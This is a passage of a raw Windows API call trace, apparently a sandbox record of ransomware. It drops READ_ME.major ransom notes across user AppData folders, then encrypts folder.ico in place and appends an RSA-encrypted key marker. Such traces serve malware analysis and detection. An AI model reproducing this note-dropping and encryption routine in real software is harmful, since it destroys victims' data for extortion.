[0169.464] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\headlights\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0169.466] WriteFile (in: hFile=0x780, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.467] CloseHandle (hObject=0x780) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0169.467] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\linguistics\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0169.467] WriteFile (in: hFile=0x780, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.468] CloseHandle (hObject=0x780) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0169.468] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0169.469] WriteFile (in: hFile=0x780, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.469] CloseHandle (hObject=0x780) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd71b4d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd71b4d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd71b4d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Sonar", cAlternateFileName="")) returned 1 [0169.470] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0169.474] WriteFile (in: hFile=0x780, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.474] CloseHandle (hObject=0x780) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x653ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Sonar", cAlternateFileName="")) returned 0 [0169.475] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653e20 [0169.475] FindNextFileW (in: hFindFile=0x653e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x653e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0169.475] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0169.477] WriteFile (in: hFile=0x784, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.478] CloseHandle (hObject=0x784) returned 1 [0169.478] FindNextFileW (in: hFindFile=0x653e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd981bb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd981bb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.478] FindNextFileW (in: hFindFile=0x653e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd981bb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd981bb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.478] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6538e0 [0169.478] FindNextFileW (in: hFindFile=0x6538e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.479] FindNextFileW (in: hFindFile=0x6538e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0169.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\extensions\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0169.479] WriteFile (in: hFile=0x788, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.480] CloseHandle (hObject=0x788) returned 1 [0169.480] FindNextFileW (in: hFindFile=0x6538e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Firefox", cAlternateFileName="")) returned 1 [0169.480] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0169.513] WriteFile (in: hFile=0x788, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.515] CloseHandle (hObject=0x788) returned 1 [0169.515] FindNextFileW (in: hFindFile=0x6538e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd981bb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd981bb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.515] FindNextFileW (in: hFindFile=0x6538e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd981bb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bd981bb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bd981bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.515] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x1bdcc64f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653b60 [0169.515] FindNextFileW (in: hFindFile=0x653b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x1bdcc64f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.515] FindNextFileW (in: hFindFile=0x653b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdcc64f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bdcc64f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bdcc64f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.515] FindNextFileW (in: hFindFile=0x653b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 1 [0169.515] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78c [0169.516] WriteFile (in: hFile=0x78c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.517] CloseHandle (hObject=0x78c) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x653b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 0 [0169.517] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bdcc64f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654060 [0169.517] FindNextFileW (in: hFindFile=0x654060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bdcc64f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x654060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Java", cAlternateFileName="")) returned 1 [0169.517] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\sun\\java\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790 [0169.518] WriteFile (in: hFile=0x790, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.519] CloseHandle (hObject=0x790) returned 1 [0169.519] FindNextFileW (in: hFindFile=0x654060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdcc64f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bdcc64f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bdcc64f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.519] FindNextFileW (in: hFindFile=0x654060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdcc64f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bdcc64f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bdcc64f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.519] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c44c7cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653ca0 [0169.520] FindNextFileW (in: hFindFile=0x653ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c44c7cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x653ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x653ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c44c7cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c44c7cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c44c7cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x653ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c44c7cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c44c7cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c44c7cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.520] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.520] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", dwFileAttributes=0x80) returned 1 [0169.610] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x794 [0169.610] GetFileSizeEx (in: hFile=0x794, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=29926) returned 1 [0169.610] ReadFile (in: hFile=0x794, lpBuffer=0x6570d0, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6570d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x74e6, lpOverlapped=0x0) returned 1 [0169.757] SetFilePointer (in: hFile=0x794, lDistanceToMove=-29926, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.757] WriteFile (in: hFile=0x794, lpBuffer=0x65e5c0*, nNumberOfBytesToWrite=0x74e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65e5c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x74e6, lpOverlapped=0x0) returned 1 [0169.758] SetFilePointer (in: hFile=0x794, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x74e6 [0169.758] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.758] WriteFile (in: hFile=0x794, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.758] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.758] 